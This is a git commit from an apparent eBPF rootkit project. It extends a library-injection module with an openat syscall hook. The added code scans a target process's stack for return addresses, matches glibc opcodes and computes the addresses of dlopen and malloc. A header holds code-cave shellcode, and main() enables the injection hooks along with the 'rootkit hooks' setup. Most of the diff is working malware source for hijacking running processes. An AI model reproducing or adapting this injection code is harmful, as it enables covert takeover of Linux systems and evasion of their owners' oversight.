Added sys_openat for the injection module, fully working!

This commit is contained in:
h3xduck
2022-05-16 08:02:38 -04:00
parent abc501d4be
commit 4044d7994c
16 changed files with 24017 additions and 12699 deletions

View File

@@ -23,6 +23,7 @@
"ring_buffer.h": "c", "ring_buffer.h": "c",
"bpf_helpers.h": "c", "bpf_helpers.h": "c",
"tcp_helper.h": "c", "tcp_helper.h": "c",
"stdio.h": "c" "stdio.h": "c",
} "*.tcc": "c"
}
} }

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -24,7 +24,7 @@
#define EXEC_HIJACK_ACTIVE_TEMP 0 #define EXEC_HIJACK_ACTIVE_TEMP 0
//LIBRARY INJECTION WITH ROP //LIBRARY INJECTION WITH ROP
#define TASK_COMM_NAME_ROP_TARGET "simple_timer" #define TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME "simple_timer"
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95 #define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \ #define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
"\x55\x50\x51\x52\x53\x57\x56\ "\x55\x50\x51\x52\x53\x57\x56\
@@ -49,7 +49,9 @@
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00" \x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37 #define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
#define TASK_COMM_NAME_INJECTION_TARGET_OPEN "simple_open"
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash" #define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1 #define TASK_COMM_RESTRICT_HIJACK_ACTIVE 0
#endif #endif

View File

@@ -18,7 +18,8 @@
#define OPCODE_PLT_JMP_BYTE_1 0x25 #define OPCODE_PLT_JMP_BYTE_1 0x25
#define OPCODE_PLT_RERLO_BYTE_0 0xf3 #define OPCODE_PLT_RERLO_BYTE_0 0xf3
#define OPCODE_PLT_RERLO_BYTE_1 0x0f #define OPCODE_PLT_RERLO_BYTE_1 0x0f
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0 #define GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME 0xf00d0
#define GLIBC_OFFSET_MAIN_TO_OPENAT 0xdf580
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120 #define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0 #define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
@@ -39,6 +40,16 @@ struct sys_timerfd_settime_exit_ctx {
long ret; long ret;
}; };
//struct sys_openat_enter_ctx {}
//Defined in fs.h
enum syscall_injection_supported{
SYS_TIMERFD_SETTIME,
SYS_OPENAT
};
/** /**
* @brief Checks whether the format of the syscall is the expected one * @brief Checks whether the format of the syscall is the expected one
* *
@@ -46,8 +57,9 @@ struct sys_timerfd_settime_exit_ctx {
* @param size * @param size
* @return 0 if correct, 1 otherwise * @return 0 if correct, 1 otherwise
*/ */
static __always_inline int check_syscall_opcodes(__u8* opcodes){ static __always_inline int check_syscall_opcodes(__u8* opcodes, enum syscall_injection_supported sys){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE if(sys==SYS_TIMERFD_SETTIME){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
&&*/ opcodes[1]==0x0f &&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e && opcodes[2]==0x1e
&& opcodes[3]==0xfa && opcodes[3]==0xfa
@@ -61,10 +73,26 @@ static __always_inline int check_syscall_opcodes(__u8* opcodes){
&& opcodes[11]==0x00 && opcodes[11]==0x00
&& opcodes[12]==0x0f && opcodes[12]==0x0f
&& opcodes[13]==0x05); && opcodes[13]==0x05);
}else if(sys == SYS_OPENAT){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
&&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
&& opcodes[4]==0x48
&& opcodes[5]==0x83
&& opcodes[6]==0xec
&& opcodes[7]==0x78
&& opcodes[8]==0x48
&& opcodes[9]==0x89
&& opcodes[10]==0x4c
&& opcodes[11]==0x24
&& opcodes[12]==0x58
&& opcodes[13]==0x64);
}
return 1;
} }
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){ static __always_inline int stack_extract_return_address_plt(__u64 stack_rip, enum syscall_injection_supported sys){
//We have a possible RIP from the stack, to which we can take the previous instruction, //We have a possible RIP from the stack, to which we can take the previous instruction,
//and check if its opcodes correspond with the expected format //and check if its opcodes correspond with the expected format
__u64 *entry_call_addr = (__u64*)(stack_rip - 0x5); __u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
@@ -113,6 +141,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
int plt_found = 0; int plt_found = 0;
int relro_active = 0; int relro_active = 0;
//Check documentation for details on jump recognition. //Check documentation for details on jump recognition.
if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){ if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
//If the ELF binary has been compiled without RELRO, the first bytes are expected. //If the ELF binary has been compiled without RELRO, the first bytes are expected.
@@ -175,7 +204,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
for(int ii=0; ii<14; ii++){ for(int ii=0; ii<14; ii++){
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]); //bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
} }
if(check_syscall_opcodes(s_opcode)!=0){ if(check_syscall_opcodes(s_opcode, sys)!=0){
bpf_printk("Not the expected syscall\n"); bpf_printk("Not the expected syscall\n");
return -1; return -1;
} }
@@ -223,7 +252,7 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
return -1; return -1;
} }
char *task = TASK_COMM_NAME_ROP_TARGET; char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){ if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0; return 0;
} }
@@ -241,7 +270,7 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
//if it truly is the saved RIP (checking that there is a path to the actual syscall). //if it truly is the saved RIP (checking that there is a path to the actual syscall).
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii); bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
//bpf_printk("stack: %lx\n", address); //bpf_printk("stack: %lx\n", address);
if(stack_extract_return_address_plt(address)==0){ if(stack_extract_return_address_plt(address, SYS_TIMERFD_SETTIME)==0){
//We found the return address //We found the return address
__u64 found_return_address = *scanner - ii; __u64 found_return_address = *scanner - ii;
//We put it in an internal map. //We put it in an internal map.
@@ -269,9 +298,9 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
//Tell userspace to perform operations on localized addresses //Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32; int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address, ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL, addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->libc_syscall_address, addr->relro_active); addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0; return 0;
@@ -291,7 +320,7 @@ int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
if(err<0){ if(err<0){
return -1; return -1;
} }
char *task = TASK_COMM_NAME_ROP_TARGET; char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){ if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0; return 0;
} }
@@ -307,9 +336,87 @@ int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
struct inj_ret_address_data addr = *inj_ret_addr; struct inj_ret_address_data addr = *inj_ret_addr;
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address); bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL); bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME);
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN); bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_DLOPEN);
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC); bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_TIMERFD_SETTIME + GLIBC_OFFSET_MAIN_TO_MALLOC);
return 0;
}
SEC("tp/syscalls/sys_enter_openat")
int sys_enter_openat(struct sys_openat_enter_ctx *ctx){
__u64 *scanner = (__u64*)ctx->filename;
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_INJECTION_TARGET_OPEN;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
struct pt_regs* longscan;// = (struct pt_regs*)ctx->unused;
bpf_probe_read(&longscan, sizeof(struct pt_regs*), &(ctx->unused));
unsigned long rbp_reg;
bpf_probe_read(&rbp_reg, sizeof(unsigned long), &(longscan->bp));
bpf_printk("Called openat, scanner: %lx; rbp: %lx\n", scanner, rbp_reg);
bpf_printk("TASK: %s\n", comm);
long timesecs;
//bpf_probe_read_user(&timesecs, sizeof(long), &(new->it_interval.tv_sec));
//bpf_printk("AG %ld\n",timesecs);
__u64 address = 0;
//Let's try to use the rbp as a scanner for this one, provided that the argument filename
//is stored in the heap.
scanner = (__u64*)rbp_reg;
bpf_printk("Called the open syscall tracepoint\n");
#pragma unroll
for(__u64 ii=0; ii<200; ii++){
//We got a foothold in the stack via the syscall argument, now we scan to lower memory
//positions assuming those are the saved RIP. We will then perform checks in order to see
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
bpf_printk("stack: %lx\n", address);
if(stack_extract_return_address_plt(address, SYS_OPENAT)==0){
//We found the return address
__u64 found_return_address = *scanner - ii;
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (addr == NULL){
//It means we failed to insert into the map before
return -1;
}
//struct inj_ret_address_data addr = *inj_ret_addr;
//struct inj_ret_address_data addr;
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
addr->stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
bpf_printk("Failed to insert the return address in bpf map\n");
return -1;
}
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
bpf_printk("GOT address: %lx\n", addr->got_address);
//Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_OPENAT,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_OPENAT + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_OPENAT + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0;
}
}
bpf_printk("Finished without findings\n");
return 0; return 0;
} }

View File

@@ -1,72 +1,3 @@
q
disass main
b *(main+446)
r
ssi
si
ni
1
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
si
si
si
fin
q
b *(main+446)
r
si
ni
si
ni
q
b *(main+446)
r
si
si
ni
si
ni
si
si
s
q
b *(main+446) b *(main+446)
r r
ni ni
@@ -254,3 +185,72 @@ si
ni ni
si si
q q
l main
b 15
r
si
si
q
l main
b 14
r
si
si
si
siq
q
b 15
r
si
si
Q
q
b 15
r
si
q
b 15
r
si
sqi
q
b 15
r
si
si
q
l main
b 15
r
si
q
b 14
r
si
si
q
b 15
r
si
si
si
q
b 15
r
si
q
b 15
t
r
si
q
b 14
r
si
ni
si
ni
stepi
fin
fin
q

View File

@@ -3,7 +3,7 @@ HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib EXTRA_CFLAGS= -I$(PWD)/lib
default: default:
make execve_hijack injection_lib simple_timer make execve_hijack injection_lib simple_timer simple_open
injection_lib: injection_lib.o injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
@@ -14,6 +14,12 @@ simple_timer.o: simple_timer.c $(HEADERS)
simple_timer: simple_timer.o simple_timer: simple_timer.o
gcc -g -o simple_timer simple_timer.o gcc -g -o simple_timer simple_timer.o
simple_open.o: simple_open.c $(HEADERS)
gcc -g -c simple_open.c
simple_open: simple_open.o
gcc -g -o simple_open simple_open.o
execve_hijack.o: execve_hijack.c $(HEADERS) execve_hijack.o: execve_hijack.c $(HEADERS)
gcc -g -c execve_hijack.c gcc -g -c execve_hijack.c
@@ -27,3 +33,5 @@ clean:
-rm -f injection_lib.so -rm -f injection_lib.so
-rm -f simple_timer.o -rm -f simple_timer.o
-rm -f simple_timer -rm -f simple_timer
-rm -f simple_open.o
-rm -f simple_open

View File

@@ -0,0 +1,2 @@
break /home/osboxes/TFG/src/helpers/simple_open.c:14

BIN
src/helpers/simple_open Executable file

Binary file not shown.

22
src/helpers/simple_open.c Normal file
View File

@@ -0,0 +1,22 @@
/**
* Modified version of Linux man page timer using timerfd.
* Counts to 3, 1 second at a time, then sets another time up to 3, one second at a time.
*/
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
int fd;
char* path = "/home/osboxes/TFG/src/helpers/Makefile";
openat(fd, path, O_RDONLY);
//Second call
openat(fd, path, O_RDONLY);
return 0;
}

BIN
src/helpers/simple_open.o Normal file

Binary file not shown.

View File

@@ -17,10 +17,15 @@ int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime); skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
return libbpf_get_error(skel->links.sys_exit_timerfd_settime); return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
} }
int attach_sys_enter_openat(struct kit_bpf *skel){
skel->links.sys_enter_openat = bpf_program__attach(skel->progs.sys_enter_openat);
return libbpf_get_error(skel->links.sys_enter_openat);
}
int attach_injection_all(struct kit_bpf *skel){ int attach_injection_all(struct kit_bpf *skel){
return attach_sys_enter_timerfd_settime(skel) return attach_sys_enter_timerfd_settime(skel)
|| attach_sys_exit_timerfd_settime(skel);; || attach_sys_exit_timerfd_settime(skel)
|| attach_sys_enter_openat(skel);
} }
@@ -40,10 +45,19 @@ int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
} }
return 0; return 0;
} }
int detach_sys_enter_openat(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_enter_openat);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_injection_all(struct kit_bpf *skel){ int detach_injection_all(struct kit_bpf *skel){
return detach_sys_enter_timerfd_settime(skel) return detach_sys_enter_timerfd_settime(skel)
|| detach_sys_exit_timerfd_settime(skel); || detach_sys_exit_timerfd_settime(skel)
|| detach_sys_enter_openat(skel);
} }
#endif #endif

View File

@@ -91,6 +91,7 @@ int setup_all_modules(){
}else{ }else{
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel); if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel); if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
if(config.injection_module.sys_enter_openat == ON) ret = attach_sys_enter_openat(attr.skel);
} }
if(ret!=0) return -1; if(ret!=0) return -1;

View File

@@ -39,6 +39,7 @@ typedef struct module_config_t{
char all; char all;
char sys_enter_timerfd_settime; char sys_enter_timerfd_settime;
char sys_exit_timerfd_settime; char sys_exit_timerfd_settime;
char sys_enter_openat;
}injection_module; }injection_module;
} module_config_t; } module_config_t;

View File

@@ -403,8 +403,14 @@ int main(int argc, char**argv){
//FS //FS
module_config.fs_module.all = ON; module_config.fs_module.all = ON;
//INJECTION
module_config.injection_module.all = ON;
module_config_attr.skel = skel; module_config_attr.skel = skel;
err = setup_all_modules(); err = setup_all_modules();
if(err!=0){
perror("ERROR setting up the rootkit hooks");
}
// Set up ring buffer polling --> Main communication buffer kernel->user // Set up ring buffer polling --> Main communication buffer kernel->user
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL); rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);